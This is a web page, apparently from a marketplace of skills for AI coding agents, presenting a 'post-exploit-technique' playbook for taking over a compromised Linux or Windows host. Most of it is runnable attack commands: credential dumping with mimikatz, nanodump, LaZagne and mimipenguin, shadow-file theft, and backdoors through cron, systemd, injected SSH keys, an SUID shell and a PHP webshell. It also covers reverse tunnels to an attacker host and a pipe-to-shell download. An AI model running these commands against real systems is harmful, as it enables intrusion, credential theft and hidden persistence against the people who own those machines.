一键导入
post-exploit-technique
Auth assessment: post-compromise host methodology; shell state, local privesc triage, secret-exposure review, pivot planning, evidence.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Auth assessment: post-compromise host methodology; shell state, local privesc triage, secret-exposure review, pivot planning, evidence.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Drive the MCPwn Kali-backed MCP server cleanly and fast: create a session, discover tools via the catalog (list_catalog/get_tools/get_tool/run_tool) instead of guessing names, pick the right execution path (execute_command vs detach+poll_job vs interactive shell), move files with the correct mechanism (write_workspace_file, request_upload/request_download data plane, import_artifact_to_workspace, upload_to_target, list_payloads/get_payload), and bring up connectivity (tunnel_up VPN/proxy/forward, tunnel_revshell, penelope reverse shells, run_in_shell/stabilize_shell). Use whenever running MCPwn / mcpwn_* tools, a Kali MCP, or when a run stalls on timeouts, lost output, missing routes, wrong tool names, or clumsy file transfer.
Keep the context window lean when reading large data. Use before opening big files, logs, dumps, PCAPs, decompiler output, research corpora, or a folder of worker artifacts. Enforces grep-first + windowed reads, extract-don't-hoard, and context quarantine (delegate a huge read to a sub-agent that returns a digest).
Auth assessment: web impact-validation; SQLi, SSTI, XXE, command injection, SSRF, XSS, uploads, deserialization, smuggling, WAF/parser checks.
Mode: /1337 - structured operator behaviour for coding and security; forces explicit reasoning, fast decisions, todos/lists, exact terms, evidence, verification, safety override.
Lab/CTF: pwn/binary challenges; native binaries, memory corruption, format strings, heap/ROP/SROP, shellcode artifacts, seccomp, kernel labs.
Auth/lab: reverse engineering methodology; malware triage, patch diffing, firmware/protocol RE, protections, exploitability handoff evidence.
| name | post-exploit-technique |
| description | Auth assessment: post-compromise host methodology; shell state, local privesc triage, secret-exposure review, pivot planning, evidence. |
| license | MIT |
| compatibility | Linux (x86-64/ARM/MIPS), Windows (x64); user-mode shells; local access required. |
| metadata | {"author":"AeonDave","version":"1.2","category":"offensive-techniques","language":"multi"} |
Goal: move from low-privilege shell to full host control, harvest credentials, establish persistence, and set up lateral movement — reproducibly and with minimal noise.
vuln-exploit-technique: stable shell, known user, target OS.active-directory-technique for domain attacks.references/pivoting.md for tunnel setup, forwarding, SOCKS chains, and double pivots; keep network-technique for broader network investigation logic.offensive-coding/ skills.| Need | Skill |
|---|---|
| Shell payload generation | offensive-tools/shells/revshells/, offensive-tools/shells/revshellgen/ |
| Shell stabilization and file transfer | offensive-tools/linux/pwncat/, offensive-tools/windows/evil-winrm/ |
| Linux privesc triage | offensive-tools/linux/linpeas/, offensive-tools/linux/linux-exploit-suggester/ |
| Windows privesc triage | offensive-tools/windows/winpeas/, offensive-tools/windows/privesccheck/, offensive-tools/windows/watson/ |
| Credential harvest | offensive-tools/windows/mimikatz/, offensive-tools/windows/nanodump/, offensive-tools/windows/lazagne/, offensive-tools/linux/mimipenguin/ |
| Pivoting | offensive-tools/network/ligolo-ng/, offensive-tools/network/chisel/ |
| Windows/AD protocol actions | offensive-tools/windows/impacket/, offensive-tools/windows/crackmapexec/ |
Before escalating or harvesting broadly, classify the foothold and choose the shortest path to higher privilege or next-hop access.
pwncat, evil-winrm, linpeas, winpeas, privesccheck, watson), then credential-harvest skills, then pivot and AD-oriented tools once the credential type and target path are known.Loop:
1. Stabilize shell and confirm context.
2. Situational awareness — OS, user, network, defenses.
3. Local privilege escalation — automated triage → manual confirmation.
4. Credential harvest — dump, search, capture.
5. Persistence — survive reboot, evade cleanup.
6. Lateral movement prep — pivot routes, credential handoff.
Stop when: root/SYSTEM achieved, credentials for next hop secured, persistence confirmed.
Do not skip shell stabilization — unstable shells cause false negatives in enumeration tools.
Convert dumb reverse shell to interactive TTY before running any tools.
# Python PTY upgrade (Linux)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z → stty raw -echo; fg → reset; export TERM=xterm
# Script method
script /dev/null -c bash
# pwncat-cs (recommended — auto-upgrades and handles file transfer)
pwncat-cs -lp 4444
Windows:
# evil-winrm gives full PTY over WinRM
evil-winrm -i <target> -u <user> -p <pass>
# pwncat (Windows target via netcat reverse shell)
# Upgrade via powershell conPTY support
See offensive-tools/shells/revshells/ for shell generation, offensive-tools/shells/revshellgen/ for generators, offensive-tools/linux/pwncat/ for stabilization, and offensive-tools/windows/evil-winrm/ for WinRM sessions.
When the shell is driven programmatically (a send/read harness, not a live terminal), the human stabilization above backfires — apply these instead:
python3 -m http.server 8000 --bind <your-ip> then curl -s http://<your-ip>:8000/x -o /tmp/x (over a VPN, <your-ip> is your tun0 — reachable by the target even when your host is NAT'd).pty.spawn over a non-TTY channel — the nested interactive shell swallows the harness's input and the session wedges. Keep commands non-interactive, or catch the shell with pwncat-cs (listener-side PTY upgrade).sudo -S takes the password on stdin (echo 'pw' | sudo -S -l); su/ssh require a TTY — drive them from a tiny self-contained pty.fork() helper delivered via the pull method, not by typing into the prompt across the harness (its retries will eat your next commands).Run before any escalation attempt. Answers: who am I, what is this host, what is reachable?
# Identity and privilege
id; whoami; groups; sudo -l; cat /etc/passwd | grep -v nologin
# OS and kernel
uname -a; cat /etc/os-release; lsb_release -a 2>/dev/null
# Network context
ip a; ip r; cat /etc/hosts; ss -tnlp; arp -n
# Running processes
ps aux; systemctl list-units --type=service
# Interesting files quick check
find / -perm -u=s -type f 2>/dev/null # SUID binaries
find / -writable -type f 2>/dev/null | grep -v proc | head -30
crontab -l; ls /etc/cron*
Windows equivalent:
whoami /all; net user; net localgroup administrators
systeminfo; hostname; ipconfig /all; route print
netstat -ano; tasklist /v
Run these checks when process, file, or network views disagree, or when the host may already contain an LKM rootkit such as Reptile or Diamorphine. Treat hits as leads until corroborated by more than one artifact.
lsmod
cat /proc/modules
ls -la /sys/module/ | grep -i -E "reptile|diamorphine|sneaky|hide"
ls -la /proc/reptile 2>/dev/null
cat /proc/reptile/version 2>/dev/null
grep " sys_call_table" /proc/kallsyms
ls -la /proc/*/fd/ 2>/dev/null | grep -i reptile
cat /proc/net/tcp; cat /proc/net/udp; ss -tlnp
ls -la /dev/mem /dev/kmem /dev/port
ls /proc/reptile/files 2>/dev/null
ls /proc/reptile/pids 2>/dev/null
# Diamorphine commonly uses signal 63 to toggle process visibility; do not send it unless explicitly authorized.
nsenter --mount=/proc/1/ns/mnt find / -name "*reptile*" 2>/dev/null
lsinitramfs /boot/initrd.img-$(uname -r) | grep -i -E "reptile|kmod|rootkit"
Quality gate: Do not unload modules or alter rootkit state during triage unless cleanup is explicitly in scope. Preserve command output and compare independent views (lsmod, /proc/modules, /sys/module, ss, /proc/net/*).
Related: offensive-tools/linux/linpeas/, offensive-tools/linux/linux-persistence/.
Run automated triage first, then confirm manually.
Automated:
# linpeas — comprehensive Linux privesc triage
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # or upload and run
./linpeas.sh 2>/dev/null | tee /tmp/linpeas.out # add -a for full noisy scan, -s to skip slow checks
# linux-exploit-suggester — kernel exploit matching
./linux-exploit-suggester.sh
./linux-exploit-suggester-2.sh -k $(uname -r | cut -d- -f1) # LES2 -k needs bare X.Y.Z
See offensive-tools/linux/linpeas/, offensive-tools/linux/linux-exploit-suggester/.
Manual priority checklist:
- [ ] sudo -l → NOPASSWD entries → GTFOBins for that binary
- [ ] sudo --version → version-specific CVEs even with no sudoers entry (Baron Samedit CVE-2021-3156; sudoedit CVE-2023-22809 if you have sudoedit/-e on any file)
- [ ] SUID/SGID binaries → GTFOBins check
- [ ] Writable /etc/passwd or /etc/sudoers
- [ ] Cron jobs running as root with writable script/path
- [ ] Writable service unit files
- [ ] PATH hijacking: relative command in root-owned script
- [ ] Capabilities: getcap -r / 2>/dev/null
- [ ] NFS no_root_squash mounts
- [ ] Docker group membership → docker run -v /:/host escape
- [ ] Kernel/glibc exploit: check CVEs for exact `uname -r` AND `ldd --version` (Dirty Pipe, nf_tables CVE-2024-1086, GameOver(lay), PwnKit, Looney Tunables CVE-2023-4911)
- [ ] Root-owned archive extraction (tar/zip/cpio): zip-slip, symlink escape, PATH_MAX bypass
- [ ] Scheduled job/watcher feeds attacker-controlled files to a parser as a higher-priv user (fontforge/ImageMagick/gs/exiftool/soffice/pandoc) → code-exec via format features
- [ ] Custom sudo-allowed wrapper script → trace its library sink (download/deserialize/template/eval), not just the binary
- [ ] Loopback-only service running as root (ss -ltnp | grep 127.0.0.1): admin panel that runs commands as root (OliveTin/Cockpit/Webmin/Semaphore) → guest-exec + argument-type injection
- [ ] Connectable unix socket owned by a higher-priv user (ls -l /run/**/*.sock → srw-rw---- root:yourgroup): daemon may pass a root-opened fd via SCM_RIGHTS → read a root-only file, or offer a file-op/exec primitive
→ Full patterns: references/linux-privesc.md (sections 1, 10, 11, 12, 13).
When privesc depends on a scheduled trigger, do not wait on it blind: catch the real job and its full argv with pspy/ps (a .bak/old copy is not proof of the running version), then reproduce the trigger directly — run the same processor as your current user to confirm the payload fires and to read its error output immediately. Have the real tool emit any strict serialized/binary payload rather than hand-rolling it.
Automated:
# winpeas — comprehensive Windows privesc triage
.\winPEASx64.exe > winpeas.out
# privesccheck
Import-Module .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended | Tee-Object privesc.out
# watson — patch-level missing CVEs
.\Watson.exe
See offensive-tools/windows/winpeas/, offensive-tools/windows/privesccheck/, offensive-tools/windows/watson/.
Manual priority checklist:
- [ ] AlwaysInstallElevated: both HKCU+HKLM set → msi payload
- [ ] Unquoted service paths with writable directory
- [ ] Weak service/file permissions (icacls on service binary)
- [ ] SeImpersonatePrivilege / SeAssignPrimaryToken → Potato family (PrintSpoofer/GodPotato; JuicyPotato only pre-1809)
- [ ] SeBackupPrivilege/SeRestore/SeManageVolume, or Backup Operators / DnsAdmins group → direct SYSTEM/DC path
- [ ] HiveNightmare/SeriousSAM (CVE-2021-36934): icacls %windir%\system32\config\SAM → Users:(R) + a shadow copy → read hives
- [ ] Writable registry run keys
- [ ] Scheduled tasks running as SYSTEM with writable binary
- [ ] DLL hijacking: service with missing DLL in writable path
- [ ] UAC bypass: check UAC level, known bypass techniques
- [ ] Stored credentials: cmdkey /list, credential manager
→ Full patterns: references/windows-privesc.md.
Extract credentials for current host and lateral movement.
# Memory credential dump
./mimipenguin.sh # dump plaintext from memory (root required)
# SSH key harvest
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
cat ~/.ssh/authorized_keys; ls ~/.ssh/
# Config files with credentials
find / -name "*.conf" -o -name "*.env" -o -name "*.cfg" 2>/dev/null | xargs grep -l "password\|passwd\|secret\|token" 2>/dev/null | head -20
grep -r "DB_PASS\|DB_PASSWORD\|mysql_connect\|PDO" /var/www/ 2>/dev/null
# Shadow file (if root)
cat /etc/shadow; unshadow /etc/passwd /etc/shadow > unshadowed.txt # then hashcat/john
# Browser/app credentials
find / -name "*.sqlite" -path "*firefox*" -o -name "Login Data" -path "*chrome*" 2>/dev/null
See offensive-tools/linux/mimipenguin/, offensive-tools/linux/ssh-key-scanner/.
# Mimikatz — primary Windows credential dump
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
# Nanodump — LSASS dump (stealthier than mimikatz direct)
.\nanodump.exe -w lsass.dmp
# Transfer dump, then parse locally with mimikatz
# LaZagne — multi-source credential harvest (browsers, apps, wifi, DB)
.\lazagne.exe all
# Credential Manager dump
cmdkey /list
.\mimikatz.exe "vault::cred" "vault::list" "exit"
# SAM/SYSTEM offline (if SeBackupPrivilege or volume shadow)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Transfer and parse: python3 secretsdump.py -sam sam.bak -system system.bak LOCAL
See offensive-tools/windows/mimikatz/, offensive-tools/windows/nanodump/, offensive-tools/windows/lazagne/.
→ Full credential sources and parsing: references/credential-harvest.md.
Cloud and CI/CD credentials require different handling: record token expiry, tenant/project scope, effective permissions, and audit-log footprint before use. For managed identities, service principals, CI variables, OIDC tokens, Kubernetes service accounts, and serverless deploy paths, use references/cloud-and-cicd-post-exploit.md.
Survive reboots and cleanup attempts.
# Cron persistence
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.svc >/dev/null 2>&1") | crontab -
# Systemd service
cat > /etc/systemd/system/svc.service << EOF
[Unit]
After=network.target
[Service]
ExecStart=/tmp/.svc
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable svc.service --now
# SSH key injection (if /root/.ssh writable)
echo "ssh-rsa AAAA... attacker_key" >> /root/.ssh/authorized_keys
# SUID shell backdoor (if root)
cp /bin/bash /tmp/.bash; chmod +s /tmp/.bash
# Access: /tmp/.bash -p
# Webshell persistence
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/.config.php
See offensive-tools/linux/linux-persistence/.
# Registry run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svc /t REG_SZ /d "C:\Users\Public\svc.exe"
# Scheduled task (SYSTEM)
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f
# Service installation
sc create svc binpath= "C:\Windows\Temp\svc.exe" start= auto
sc start svc
# WMI event subscription (fileless, stealthy)
# See references/persistence.md for WMI persistence
# Golden ticket (domain) → load active-directory-technique
See offensive-tools/shells/weevely3/ for webshell persistence.
→ Full patterns by OS and stealth level: references/persistence.md.
Cloud or pipeline persistence (IAM credentials, serverless triggers, Kubernetes jobs, protected CI variables, deploy keys) is covered in references/cloud-and-cicd-post-exploit.md; prefer scoped, reversible proofs and avoid broad tenant-wide changes unless explicitly authorized.
Set up pivoting and credential handoff for next hops.
# ligolo-ng (recommended — transparent proxy, full routing)
# On attacker: ./proxy -selfcert -laddr 0.0.0.0:11601
# On target: ./agent -connect <attacker>:11601 -ignore-cert
# Then route internal subnet through tunnel
# chisel (HTTP tunnel, useful through restrictive firewalls)
# Attacker: ./chisel server -p 8080 --reverse
# Target: ./chisel client <attacker>:8080 R:socks
# proxychains — route tools through SOCKS proxy (system tool; no dedicated repo skill yet)
# Edit /etc/proxychains4.conf → socks5 127.0.0.1 1080
# Then: proxychains nmap -sT -Pn 10.10.10.0/24
See references/pivoting.md for transport selection, egress-driven tunnel choice, double pivots, and validation flow. Use offensive-tools/network/ligolo-ng/ and offensive-tools/network/chisel/ for tool-specific operation.
offensive-tools/windows/crackmapexec/ or offensive-tools/windows/impacket/ (load active-directory-technique)active-directory-technique)→ Full lateral movement patterns: references/lateral-movement.md.
.bak/old on-disk script as the live job, or hand-rolling a strict serialized/binary payload the parser then rejects — generate it with the real tool.ps/pspy, direct tool run) is one cheap command away.